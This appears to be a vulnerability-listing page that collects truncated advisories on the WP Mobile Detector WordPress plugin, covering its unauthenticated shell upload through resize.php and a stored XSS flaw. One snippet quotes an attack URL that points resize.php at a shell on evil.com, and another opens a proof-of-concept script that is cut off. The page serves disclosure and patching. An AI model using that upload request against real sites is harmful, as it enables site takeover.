WordPress WP Mobile Detector Plugin Arbitrary File Upload

An Arbitrary File Upload vulnerability exists in WordPress WP Mobile Detector Plugin. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

WordPress Patches WP Mobile Detector Plugin Zero Day

A WordPress plugin was patched Thursday night, close to a week after reports began to surface of public attacks against a zero-day vulnerability. WP Mobile Detector was pulled from the WordPress Plugin Directory once the attacks went public. It was restored last night and users are urged to updat...

WP Mobile Detector Vulnerability

WP Mobile Detector, a WordPress plugin, contains a vulnerability in versions prior to 3.6. Exploitation of this vulnerability could allow an attacker to take control of an affected website. US-CERT encourages users and administrators to disable the configuration option allowurlfopen if it is not...

WP Mobile Detector <= 3.5 - Arbitrary File Upload

The wp-mobile-detector WordPress plugin was affected by an Arbitrary File Upload security vulnerability. As seen in access logs: http://www.example.com/wp-content/plugins/wp-mobile-detector/resize.php?src=https://www.evil.com/shell.php...

WordPress WP Mobile Detector 3.5 Shell Upload

Hello, This Vulnerable has been disclosed to public yesterday about WP Mobile Detector Arbitrary File upload for version =3.5 in which attacker can upload malicious PHP Files Shell into the Website. Over 10,000 users are affected, Vendor has released a Patch in their version 3.6 & 3.7 at...

VulnCheck KEV: CVE-2016-15043

The WP Mobile Detector plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in resize.php file in versions up to, and including, 3.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected sites server which may...

WordPress WP Mobile Detector 3.5 Shell Upload

WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /wp-content/plugins/wp-mobile-detector/resize.php script does contains a remote file include for files not cached by the system already. By uploading a...

WordPress WP Mobile Detector Plugin <= 3.2 - Stored Cross Site Scripting

This plugin is prone to a stored cross site scripting vulnerability, so, it exposes the AJAX action "websitezoptions" to all registered users, which are on line 78 of wp-mobile-detector/websitez-wp-mobile-detector.php. Solution Update the plugin...

WP Mobile Detector <= 3.2 - Stored Cross-Site Scripting (XSS)

The WP Mobile Detector plugin exposes the AJAX action ‘websitezoptions’ to all registered users on line 78 of wp-mobile-detector/websitez-wp-mobile-detector.php. Providing specially crafted form values will result in a Persistent XSS attack on Mobile visitors. PoC import requests s =...